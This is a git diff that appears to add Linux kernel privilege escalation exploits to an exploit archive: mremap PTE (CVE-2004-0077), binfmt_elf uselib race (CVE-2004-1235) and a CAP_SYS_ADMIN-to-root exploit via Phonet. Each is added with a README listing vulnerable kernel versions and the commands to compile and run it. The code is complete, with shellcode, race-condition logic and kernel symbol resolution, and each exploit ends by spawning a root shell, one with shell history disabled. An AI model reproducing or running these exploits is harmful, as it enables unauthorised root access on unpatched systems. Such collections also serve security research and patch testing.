$0x80 \n" + " mov $"xstr(__NR_setresgid)", %al \n" + " int $0x80 \n" + +// execve(launch) + " popl %ebx \n" + " andl $0xfffff000, %ebx \n" + " xorl %eax, %eax \n" + " pushl %eax \n" + " movl %esp, %edx \n" + " pushl %ebx \n" + " movl %esp, %ecx \n" + " mov $"xstr(__NR_execve)", %al \n" + " int $0x80 \n" + +// exit + " xorl %eax, %eax \n" + " mov $"xstr(__NR_exit)", %al \n" + " int $0x80 \n" + + "callme: jmp jumpme \n" + ); +} + + +static int suid_code_end(int v) +{ +return v+1; +} + + +static inline void get_esp(void) +{ +__asm__( + " movl %%esp, %%eax \n" + " andl $0xfffff000, %%eax \n" + " movl %%eax, %0 \n" + : : "m"(old_esp) + ); +} + + +static inline void cloneme(void) +{ +__asm__( + " pusha \n" + " movl $("xstr(CLONEFL)"), %%ebx \n" + " movl %%esp, %%ecx \n" + " movl $"xstr(__NR_clone)", %%eax \n" + " int $0x80 \n" + " movl %%eax, %0 \n" + " popa \n" + : : "m"(pid) + ); +} + + +static inline void my_execve(void) +{ +__asm__( + " movl %1, %%ebx \n" + " movl %2, %%ecx \n" + " movl %3, %%edx \n" + " movl $"xstr(__NR_execve)", %%eax \n" + " int $0x80 \n" + : "=a"(ret) + : "m"(suid), "m"(argv), "m"(env) + ); +} + + +static inline void pte_populate(unsigned addr) +{ +unsigned r; +char *ptr; + + memset((void*)addr, 0x90, PAGE_SIZE); + r = ((unsigned)suid_code_end) - ((unsigned)suid_code); + ptr = (void*) (addr + PAGE_SIZE); + ptr -= r+1; + memcpy(ptr, suid_code, r); + memcpy((void*)addr, launch, strlen(launch)+1); +} + + +// hit VMA limit & populate PTEs +static void exhaust(void) +{ +// mmap PTE donor + t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE, + MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); + if(MAP_FAILED==t) + goto failed; + +// prepare shell code pages + for(i=2; i65520 ) + printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base, + base+PAGE_SIZE); fflush(stdout); + base += PAGE_SIZE; + prot ^= PROT_EXEC; + cnt++; + } + +// move PTEs & populate page table cache + ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE, + MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM); + if(-1==ret) + goto failed; + + munmap((void*)MMAP_BASE, old_esp-MMAP_BASE); + t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE, + PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, + 0); + if(MAP_FAILED==t) + goto failed; + + *t = *((unsigned *)old_esp); + munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE)); + printf("\n[+] Success\n\n"); fflush(stdout); + return; + +failed: + printf("\n[-] Failed\n"); fflush(stdout); + _exit(0); +} + + +static inline void check_kver(void) +{ +static struct utsname un; +int a=0, b=0, c=0, v=0, e=0, n; + + uname(&un); + n=sscanf(un.release, "%d.%d.%d", &a, &b, &c); + if(n!=3 || a!=2) { + printf("\n[-] invalid kernel version string\n"); + _exit(0); + } + + if(b==2) { + if(c<=25) + v=1; + } + else if(b==3) { + if(c<=99) + v=1; + } + else if(b==4) { + if(c>18 && c<=24) + v=1, e=1; + else if(c>24) + v=0, e=0; + else + v=1, e=0; + } + else if(b==5 && c<=75) + v=1, e=1; + else if(b==6 && c<=2) + v=1, e=1; + + printf("\n[+] kernel %s vulnerable: %s exploitable %s", + un.release, v? "YES" : "NO", e? "YES" : "NO" ); + fflush(stdout); + + if(v && e) + return; + _exit(0); +} + + +int main(int ac, char **av) +{ +// prepare + check_kver(); + memset(env, 0, sizeof(env)); + memset(argv, 0, sizeof(argv)); + if(ac>1) suid=av[1]; + if(ac>2) launch=av[2]; + argv[0] = suid; + get_esp(); + +// mmap & clone & execve + exhaust(); + cloneme(); + if(!pid) { + my_execve(); + } else { + waitpid(pid, 0, 0); + } + +return 0; +} + +// milw0rm.com [2004-03-01] diff --git a/2004/CVE-2004-0077/README.md b/2004/CVE-2004-0077/README.md new file mode 100644 index 0000000..7047f6d --- /dev/null +++ b/2004/CVE-2004-0077/README.md @@ -0,0 +1,19 @@ +# CVE-2004-0077 + +CVE-2004-0077 + +Vulnerability reference: + * [CVE-2004-0077](http://www.exploit-db.com/exploits/160/) + +## Kernels +``` +2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27 +``` + +## Usage +``` +gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte +./mremap_pte [suid] [[shell]] +``` + + diff --git a/2004/CVE-2004-1235/744.c b/2004/CVE-2004-1235/744.c new file mode 100644 index 0000000..99cb9f6 --- /dev/null +++ b/2004/CVE-2004-1235/744.c @@ -0,0 +1,912 @@ +/* +* EDB Note: There's is an updated version ~ https://www.exploit-db.com/exploits/895/ +*/ + +/* + * binfmt_elf uselib VMA insert race vulnerability + * v1.08 + * + * gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl + * + * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. + * + * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" + * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION + * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. + * + */ + + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include +#include + +#include +#include +#include + +#define str(s) #s +#define xstr(s) str(s) + +#define MREMAP_MAYMOVE 1 + + +// temp lib location +#define LIBNAME "/dev/shm/_elf_lib" + +// shell name +#define SHELL "/bin/bash" + +// time delta to detect race +#define RACEDELTA 5000 + +// if you have more deadbabes in memory, change this +#define MAGIC 0xdeadbabe + + +// do not touch +#define SLAB_THRSH 128 +#define SLAB_PER_CHLD (INT_MAX - 1) +#define LIB_SIZE ( PAGE_SIZE * 4 ) +#define STACK_SIZE ( PAGE_SIZE * 4 ) + +#define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE ) + +#define ENTRY_GATE ( LDT_ENTRIES-1 ) +#define SEL_GATE ( (ENTRY_GATE<<3)|0x07 ) + +#define ENTRY_LCS ( ENTRY_GATE-2 ) +#define SEL_LCS ( (ENTRY_LCS<<3)|0x04 ) + +#define ENTRY_LDS ( ENTRY_GATE-1 ) +#define SEL_LDS ( (ENTRY_LDS<<3)|0x04 ) + +#define kB * 1024 +#define MB * 1024 kB +#define GB * 1024 MB + +#define TMPLEN 256 +#define PGD_SIZE ( PAGE_SIZE*1024 ) + + +extern char **environ; + +static char cstack[STACK_SIZE]; +static char name[TMPLEN]; +static char line[TMPLEN]; + + +static volatile int + val = 0, + go = 0, + finish = 0, + scnt = 0, + ccnt=0, + delta = 0, + delta_max = RACEDELTA, + map_flags = PROT_WRITE|PROT_READ; + + +static int + fstop=0, + silent=0, + pidx, + pnum=0, + smp_max=0, + smp, + wtime=2, + cpid, + uid, + task_size, + old_esp, + lib_addr, + map_count=0, + map_base=0, + map_addr, + addr_min, + addr_max, + vma_start, + vma_end, + max_page; + + +static struct timeval tm1, tm2; + +static char *myenv[] = {"TERM=vt100", + "HISTFILE=/dev/null", + NULL}; + +static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70" + "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00"; + + +static char *pagemap, *libname=LIBNAME, *shellname=SHELL; + + + +#define __NR_sys_gettimeofday __NR_gettimeofday +#define __NR_sys_sched_yield __NR_sched_yield +#define __NR_sys_madvise __NR_madvise +#define __NR_sys_uselib __NR_uselib +#define __NR_sys_mmap2 __NR_mmap2 +#define __NR_sys_munmap __NR_munmap +#define __NR_sys_mprotect __NR_mprotect +#define __NR_sys_mremap __NR_mremap + +inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f); + +inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e); + +inline _syscall3(int, sys_madvise, void*, a, int, b, int, c); +inline _syscall3(int, sys_mprotect, int, a, int, b, int, c); +inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount ); + +inline _syscall2(int, sys_gettimeofday, void*, a, void*, b); +inline _syscall2(int, sys_munmap, int, a, int, b); + +inline _syscall1(int, sys_uselib, char*, l); + +inline _syscall0(void, sys_sched_yield); + + + +inline int tmdiff(struct timeval *t1, struct timeval *t2) +{ +int r; + + r=t2->tv_sec - t1->tv_sec; + r*=1000000; + r+=t2->tv_usec - t1->tv_usec; +return r; +} + + +void fatal(const char *message, int critical) +{ +int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL); + + if(!errno) { + fprintf(stdout, "\n[-] FAILED: %s ", message); + } else { + fprintf(stdout, "\n[-] FAILED: %s (%s) ", message, + (char*) (strerror(errno)) ); + } + if(critical) + printf("\nCRITICAL, entering endless loop"); + printf("\n"); + fflush(stdout); + + unlink(libname); + kill(cpid, SIGKILL); + for(;;) kill(0, sig); +} + + +// try to race do_brk sleeping on kmalloc, may need modification for SMP +int raceme(void* v) +{ + finish=1; + + for(;;) { + errno = 0; + +// check if raced: +recheck: + if(!go) sys_sched_yield(); + sys_gettimeofday(&tm2, NULL); + delta = tmdiff(&tm1, &tm2); + if(!smp_max && delta < (unsigned)delta_max) goto recheck; + smp = smp_max; + +// check if lib VMAs exist as expected under race condition +recheck2: + val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL); + if(val) continue; + errno = 0; + val = sys_madvise((void*) (lib_addr+PAGE_SIZE), + LIB_SIZE-PAGE_SIZE, MADV_NORMAL); + if( !val || (val<0 && errno!=ENOMEM) ) continue; + +// SMP? + smp--; + if(smp>=0) goto recheck2; + +// recheck race + if(!go) continue; + finish++; + +// we need to free one vm_area_struct for mmap to work + val = sys_mprotect(map_addr, PAGE_SIZE, map_flags); + if(val) fatal("mprotect", 0); + val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE, + MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); + if(-1==val) fatal("mmap2 race", 0); + printf("\n[+] race won maps=%d", map_count); fflush(stdout); + _exit(0); + } + +return 0; +} + + +int callme_1() +{ + return val++; +} + + +inline int valid_ptr(unsigned ptr) +{ + return ptr>=task_size && ptr> 16; + l.limit = MAGIC & 0xffff; + l.limit_in_pages = 1; + if( modify_ldt(1, &l, sizeof(l)) != 0 ) + fatal("modify_ldt", 1); + pidx = max_page-1; + } + else if(pnum==3) { + npg=0; + for(pidx=0; pidx<=max_page-1; pidx++) { + if(pagemap[pidx]) { + npg++; + fflush(stdout); + } + else if(npg == LDT_PAGES) { + npg=0; + try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE); + } else { + npg=0; + } + } + fatal("find LDT", 1); + } + +// save context & scan page table + __asm__("movl %%esp, %0" : :"m"(old_esp) ); + map_addr = addr_max; + scan_mm(); +} + + +// return number of available SLAB objects in cache +int get_slab_objs(const char *sn) +{ +static int c, d, u = 0, a = 0; +FILE *fp=NULL; + + fp = fopen("/proc/slabinfo", "r"); + if(!fp) + fatal("get_slab_objs: fopen", 0); + fgets(name, sizeof(name) - 1, fp); + do { + c = u = a = -1; + if (!fgets(line, sizeof(line) - 1, fp)) + break; + c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, + &d, &d, &d, &d); + } while (strcmp(name, sn)); + close(fileno(fp)); + fclose(fp); + return c == 7 ? a - u : -1; +} + + +// leave one object in the SLAB +inline void prepare_slab() +{ +int *r; + + map_addr -= PAGE_SIZE; + map_count++; + map_flags ^= PROT_READ; + + r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags, + MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); + if(MAP_FAILED == r) { + fatal("try again", 0); + } + *r = map_addr; +} + + +// sig handlers +void segvcnt(int v) +{ + scnt++; + scan_mm_finish(); +} + + +// child reap +void reaper(int v) +{ + ccnt++; + waitpid(0, &v, WNOHANG|WUNTRACED); +} + + +// sometimes I get the VMAs in reversed order... +// so just use anyone of the two but take care about the flags +void check_vma_flags(); + +void vreversed(int v) +{ + map_flags = 0; + check_vma_flags(); +} + + +void check_vma_flags() +{ + if(map_flags) { + __asm__("movl %%esp, %0" : :"m"(old_esp) ); + } else { + __asm__("movl %0, %%esp" : :"m"(old_esp) ); + goto out; + } + signal(SIGSEGV, vreversed); + val = * (unsigned*)(lib_addr + PAGE_SIZE); +out: +} + + +// use elf library and try to sleep on kmalloc +void exploitme() +{ +int r, sz, pcnt=0; +static char smiley[]="-\\|/-\\|/"; + +// printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout); + +// helper clone + finish=0; ccnt=0; + sz = sizeof(cstack) / sizeof(cstack[0]); + cpid = clone(&raceme, (void*) &cstack[sz-16], + CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL ); + if(-1==cpid) fatal("clone", 0); + +// synchronize threads + while(!finish) sys_sched_yield(); + finish=0; + if(!silent) { + printf("\n"); fflush(stdout); + } + +// try to hit the kmalloc race + for(;;) { + + r = get_slab_objs("vm_area_struct"); + while(r != 1) { + prepare_slab(); + r--; + } + + sys_gettimeofday(&tm1, NULL); + go = 1; + r=sys_uselib(libname); + go = 0; + if(r) fatal("uselib", 0); + if(finish) break; + +// wipe lib VMAs and try again + r = sys_munmap(lib_addr, LIB_SIZE); + if(r) fatal("munmap lib", 0); + if(ccnt) goto failed; + + if( !silent && !(pcnt%64) ) { + printf("\r Wait... %c", smiley[ (pcnt/64)%8 ]); + fflush(stdout); + } + pcnt++; + } + +// seems we raced, free mem + r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE); + if(r) fatal("munmap 1", 0); + r = sys_munmap(lib_addr, PAGE_SIZE); + if(r) fatal("munmap 2", 0); + +// relax kswapd + sys_gettimeofday(&tm1, NULL); + for(;;) { + sys_sched_yield(); + sys_gettimeofday(&tm2, NULL); + delta = tmdiff(&tm1, &tm2); + if( wtime*1000000U <= (unsigned)delta ) break; + } + +// we need to check the PROT_EXEC flag + map_flags = PROT_EXEC; + check_vma_flags(); + if(!map_flags) { + printf("\n VMAs reversed"); fflush(stdout); + } + +// write protect brk's VMA to fool vm_enough_memory() + r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, + PROT_READ|map_flags); + if(-1==r) { fatal("mprotect brk", 0); } + +// this will finally make the big VMA... + sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE; +expand: + r = sys_madvise((void*)(lib_addr + PAGE_SIZE), + LIB_SIZE-PAGE_SIZE, MADV_NORMAL); + if(r) fatal("madvise", 0); + r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE, + PAGE_SIZE, sz, MREMAP_MAYMOVE, 0); + if(-1==r) { + if(0==sz) { + fatal("mremap: expand VMA", 0); + } else { + sz -= PAGE_SIZE; + goto expand; + } + } + vma_start = lib_addr + PAGE_SIZE; + vma_end = vma_start + sz + 2*PAGE_SIZE; + printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end); + fflush(stdout); + +// try to figure kernel layout + signal(SIGCHLD, reaper); + signal(SIGSEGV, segvcnt); + signal(SIGBUS, segvcnt); + scan_mm_start(); + +failed: + fatal("try again", 0); + +} + + +// make fake ELF library +void make_lib() +{ +struct elfhdr eh; +struct elf_phdr eph; +static char tmpbuf[PAGE_SIZE]; +int fd; + +// make our elf library + umask(022); + unlink(libname); + fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755); + if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0); + memset(&eh, 0, sizeof(eh) ); + +// elf exec header + memcpy(eh.e_ident, ELFMAG, SELFMAG); + eh.e_type = ET_EXEC; + eh.e_machine = EM_386; + eh.e_phentsize = sizeof(struct elf_phdr); + eh.e_phnum = 1; + eh.e_phoff = sizeof(eh); + write(fd, &eh, sizeof(eh) ); + +// section header: + memset(&eph, 0, sizeof(eph) ); + eph.p_type = PT_LOAD; + eph.p_offset = 4096; + eph.p_filesz = 4096; + eph.p_vaddr = lib_addr; + eph.p_memsz = LIB_SIZE; + eph.p_flags = PF_W|PF_R|PF_X; + write(fd, &eph, sizeof(eph) ); + +// execable code + lseek(fd, 4096, SEEK_SET); + memset(tmpbuf, 0x90, sizeof(tmpbuf) ); + write(fd, &tmpbuf, sizeof(tmpbuf) ); + close(fd); +} + + +// move stack down #2 +void prepare_finish() +{ +int r; +static struct sysinfo si; + + old_esp &= ~(PAGE_SIZE-1); + old_esp -= PAGE_SIZE; + task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB; + r = sys_munmap(old_esp, task_size-old_esp); + if(r) fatal("unmap stack", 0); + +// setup rt env + uid = getuid(); + lib_addr = task_size - LIB_SIZE - PAGE_SIZE; + if(map_base) + map_addr = map_base; + else + map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1); + printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x", + old_esp, task_size, map_base); fflush(stdout); + +// check physical mem & prepare + sysinfo(&si); + addr_min = task_size + si.totalram; + addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1); + addr_max = addr_min + si.totalram; + if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min) + addr_max = 0xffffd000; + + printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max); + max_page = (addr_max - addr_min) / PAGE_SIZE; + pagemap = malloc( max_page + 32 ); + if(!pagemap) fatal("malloc pagemap", 1); + memset(pagemap, 0, max_page + 32); + +// go go + make_lib(); + exploitme(); +} + + +// move stack down #1 +void prepare() +{ +unsigned p=0; + + environ = myenv; + + p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE, + MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 ); + if(-1==p) fatal("mmap2 stack", 0); + p += STACK_SIZE - 64; + + __asm__("movl %%esp, %0 \n" + "movl %1, %%esp \n" + : : "m"(old_esp), "m"(p) + ); + + prepare_finish(); +} + + +void chldcnt(int v) +{ + ccnt++; +} + + +// alloc slab objects... +inline void do_wipe() +{ +int *r, c=0, left=0; + + __asm__("movl %%esp, %0" : : "m"(old_esp) ); + + old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1); + old_esp = map_base? map_base : old_esp; + + for(;;) { + if(left<=0) + left = get_slab_objs("vm_area_struct"); + if(left <= SLAB_THRSH) + break; + left--; + + map_flags ^= PROT_READ; + old_esp -= PAGE_SIZE; + r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags, + MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 ); + if(MAP_FAILED == r) + break; + + if(c>SLAB_PER_CHLD) + break; + if( (c%1024)==0 ) { + if(!c) printf("\n"); + printf("\r child %d VMAs %d", val, c); + fflush(stdout); + } + c++; + } + printf("\r child %d VMAs %d", val, c); + fflush(stdout); + kill(getppid(), SIGUSR1); + for(;;) pause(); +} + + +// empty SLAB caches +void wipe_slab() +{ + signal(SIGUSR1, chldcnt); + printf("\n[+] SLAB cleanup"); fflush(stdout); + for(;;) { + ccnt=0; + val++; + cpid = fork(); + if(!cpid) + do_wipe(); + + while(!ccnt) sys_sched_yield(); + if( get_slab_objs("vm_area_struct") <= SLAB_THRSH ) + break; + } + signal(SIGUSR1, SIG_DFL); +} + + +void usage(char *n) +{ + printf("\nUsage: %s\t-f forced stop\n", n); + printf("\t\t-s silent mode\n"); + printf("\t\t-c command to run\n"); + printf("\t\t-n SMP iterations\n"); + printf("\t\t-d race delta us\n"); + printf("\t\t-w wait time seconds\n"); + printf("\t\t-l alternate lib name\n"); + printf("\t\t-a alternate addr hex\n"); + printf("\n"); + _exit(1); +} + + +// give -s for forced stop, -b to clean SLAB +int main(int ac, char **av) +{ +int r; + + while(ac) { + r = getopt(ac, av, "n:l:a:w:c:d:fsh"); + if(r<0) break; + + switch(r) { + + case 'f' : + fstop = 1; + break; + + case 's' : + silent = 1; + break; + + case 'n' : + smp_max = atoi(optarg); + break; + + case 'd': + if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u ) + fatal("bad delta value", 0); + break; + + case 'w' : + wtime = atoi(optarg); + if(wtime<0) fatal("bad wait value", 0); + break; + + case 'l' : + libname = strdup(optarg); + break; + + case 'c' : + shellname = strdup(optarg); + break; + + case 'a' : + if(1!=sscanf(optarg, "%x", &map_base)) + fatal("bad addr value", 0); + map_base &= ~(PGD_SIZE-1); + break; + + case 'h' : + default: + usage(av[0]); + break; + } + } + +// basic setup + uid = getuid(); + setpgrp(); + wipe_slab(); + prepare(); + +return 0; +} + +// milw0rm.com [2005-01-07] diff --git a/2004/CVE-2004-1235/README.md b/2004/CVE-2004-1235/README.md new file mode 100644 index 0000000..b07238f --- /dev/null +++ b/2004/CVE-2004-1235/README.md @@ -0,0 +1,19 @@ +# CVE-2004-1235 + +CVE-2004-1235 + +Vulnerability reference: + * [CVE-2004-1235](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2004-1235) + * [exp-db](https://www.exploit-db.com/exploits/744/) + +## Kernels +``` +2.4.29 +``` + +## Usage +``` +$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl +``` + + diff --git a/2004/caps_to_root/15916.c b/2004/caps_to_root/15916.c new file mode 100644 index 0000000..0021a6c --- /dev/null +++ b/2004/caps_to_root/15916.c @@ -0,0 +1,285 @@ +/* + * Linux Kernel CAP_SYS_ADMIN to root exploit + * by Dan Rosenberg + * @djrbliss on twitter + * + * Usage: + * gcc -w caps-to-root.c -o caps-to-root + * sudo setcap cap_sys_admin+ep caps-to-root + * ./caps-to-root + * + * This exploit is NOT stable: + * + * * It only works on 32-bit x86 machines + * + * * It only works on >= 2.6.34 kernels (it could probably be ported back, but + * it involves winning a race condition) + * + * * It requires symbol support for symbols that aren't included by default in + * several distributions + * + * * It requires the Phonet protocol, which may not be compiled on some + * distributions + * + * * You may experience problems on multi-CPU systems + * + * It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be + * surprised if it doesn't work on other distributions. + * + * ---- + * + * Lately there's been a lot of talk about how a large subset of Linux + * capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all + * capability that, among other things, allows mounting filesystems and + * injecting commands into an administrator's shell - in other words, it + * trivially allows you to get root. However, I found another way to get root + * from CAP_SYS_ADMIN...the hard way. + * + * This exploit leverages a signedness error in the Phonet protocol. By + * specifying a negative protocol index, I can craft a series of fake + * structures in userspace and cause the incrementing of an arbitrary kernel + * address, which I then leverage to execute arbitrary kernel code. + * + * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth, + * and bla. + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); +_commit_creds commit_creds; +_prepare_kernel_cred prepare_kernel_cred; + +int getroot(void) +{ + + commit_creds(prepare_kernel_cred(0)); + return 0; + +} + +int konami(void) +{ + + /* Konami code! */ + asm("inc %edx;" /* UP */ + "inc %edx;" /* UP */ + "dec %edx;" /* DOWN */ + "dec %edx;" /* DOWN */ + "shl %edx;" /* LEFT */ + "shr %edx;" /* RIGHT */ + "shl %edx;" /* LEFT */ + "shr %edx;" /* RIGHT */ + "push %ebx;" /* B */ + "pop %ebx;" + "push %eax;" /* A */ + "pop %eax;" + "mov $getroot, %ebx;" + "call *%ebx;"); /* START */ + + return 0; +} + +/* thanks spender... */ +unsigned long get_kernel_sym(char *name) +{ + FILE *f; + unsigned long addr; + char dummy; + char sname[512]; + struct utsname ver; + int ret; + int rep = 0; + int oldstyle = 0; + + f = fopen("/proc/kallsyms", "r"); + if (f == NULL) { + f = fopen("/proc/ksyms", "r"); + if (f == NULL) + return 0; + oldstyle = 1; + } + + while(ret != EOF) { + if (!oldstyle) + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + else { + ret = fscanf(f, "%p %s\n", (void **)&addr, sname); + if (ret == 2) { + char *p; + if (strstr(sname, "_O/") || strstr(sname, "_S.")) + continue; + p = strrchr(sname, '_'); + if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { + p = p - 4; + while (p > (char *)sname && *(p - 1) == '_') + p--; + *p = '\0'; + } + } + } + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr); + fclose(f); + return addr; + } + } + + fclose(f); + return 0; +} + +int main(int argc, char * argv[]) +{ + + int sock, proto, i, offset = -1; + unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr; + void * map; + + /* Create a socket to load the module for symbol support */ + printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n"); + sock = socket(PF_PHONET, SOCK_DGRAM, 0); + + if(sock < 0) { + if(errno == EPERM) + printf("[*] You don't have CAP_SYS_ADMIN.\n"); + + else + printf("[*] Failed to open Phonet socket.\n"); + + return -1; + } + + /* Resolve kernel symbols */ + printf("[*] Resolving kernel symbols...\n"); + + proto_tab = get_kernel_sym("proto_tab"); + pn_ops = get_kernel_sym("phonet_dgram_ops"); + pn_ioctl = get_kernel_sym("pn_socket_ioctl"); + commit_creds = get_kernel_sym("commit_creds"); + prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred"); + + if(!proto_tab || !commit_creds || !prepare_kernel_cred || + !pn_ops || !pn_ioctl) { + printf("[*] Failed to resolve kernel symbols.\n"); + return -1; + } + + /* Thanks bla, for reminding me how to do basic math */ + landing = 0x20000000; + proto = 1 << 31 | (landing - proto_tab) >> 2; + + /* Map it */ + printf("[*] Preparing fake structures...\n"); + + map = mmap((void *)landing, 0x10000, + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); + + if(map == MAP_FAILED) { + printf("[*] Failed to map landing area.\n"); + return -1; + } + + /* Pointer to phonet_protocol struct */ + ptr = (unsigned long *)landing; + ptr[0] = &ptr[1]; + + /* phonet_protocol struct */ + for(i = 1; i < 4; i++) + ptr[i] = &ptr[4]; + + /* proto struct */ + for(i = 4; i < 204; i++) + ptr[i] = &ptr[204]; + + /* First, do a test run to calculate any offsets */ + target = 0x30000000; + + /* module struct */ + for(i = 204; i < 404; i++) + ptr[i] = target; + + /* Map it */ + map = mmap((void *)0x30000000, 0x2000000, + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); + + if(map == MAP_FAILED) { + printf("[*] Failed to map landing area.\n"); + return -1; + } + + printf("[*] Calculating offsets...\n"); + + socket(PF_PHONET, SOCK_DGRAM, proto); + + ptr = 0x30000000; + for(i = 0; i < 0x800000; i++) { + if(ptr[i] != 0) { + offset = i * sizeof(void *); + break; + } + } + + if(offset == -1) { + printf("[*] Test run failed.\n"); + return -1; + } + + /* MSB of pn_ioctl */ + target = pn_ops + 10 * sizeof(void *) - 1 - offset; + + /* Re-fill the module struct */ + ptr = (unsigned long *)landing; + for(i = 204; i < 404; i++) + ptr[i] = target; + + /* Push pn_ioctl fptr into userspace */ + printf("[*] Modifying function pointer...\n"); + + landing = pn_ioctl; + while((landing & 0xff000000) != 0x10000000) { + socket(PF_PHONET, SOCK_DGRAM, proto); + landing += 0x01000000; + } + + /* Map it */ + map = mmap((void *)(landing & ~0xfff), 0x10000, + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); + + if(map == MAP_FAILED) { + printf("[*] Failed to map payload area.\n"); + return -1; + } + + /* Copy payload */ + memcpy((void *)landing, &konami, 1024); + + printf("[*] Executing Konami code at ring0...\n"); + ioctl(sock, 0, NULL); + + if(getuid()) { + printf("[*] Exploit failed to get root.\n"); + return -1; + } + + printf("[*] Konami code worked! Have a root shell.\n"); + execl("/bin/sh", "/bin/sh", NULL); + +} diff --git a/2004/caps_to_root/README.md b/2004/caps_to_root/README.md new file mode 100644 index 0000000..ff41038 --- /dev/null +++ b/2004/caps_to_root/README.md @@ -0,0 +1,25 @@ +# caps_to_root + +caps_to_root + +Vulnerability reference: + * [N/A](https://www.exploit-db.com/exploits/15916/) + +## Kernels +``` +2.6.34, 2.6.35, 2.6.36 +``` + +## Usage +``` +gcc -w caps-to-root.c -o caps-to-root +sudo setcap cap_sys_admin+ep caps-to-root +./caps-to-root +``` + +![root](root.png) + + + + + diff --git a/2004/caps_to_root/root.png b/2004/caps_to_root/root.png new file mode 100644 index 0000000000000000000000000000000000000000..817e5f4a1b5dcfe0b1ef40aeaa785c3a3b1a6ce9 GIT binary patch literal 100984 zcmYhh1yo$Y(lrXf-95Owy9OULxI=Jv_u#={aGl@;cXtU8+}+*X?ZLg@{nwjy&YC0L zeY&fvt84G-@b3yzNbvaZU|?WK0BLb$Ft9K2A14+p^v9EM_I@s=E)S z#CzA}_?iB2!4zqo$bkfEJ`D|tGA2RsuT`mPu!xA! zDX7xqaoM^Rc8{-)DRF){5x+;CZ~q}Uwes_`b9>*9j*OLwQ-&hr{ZPGYA%PA2I2_Kj 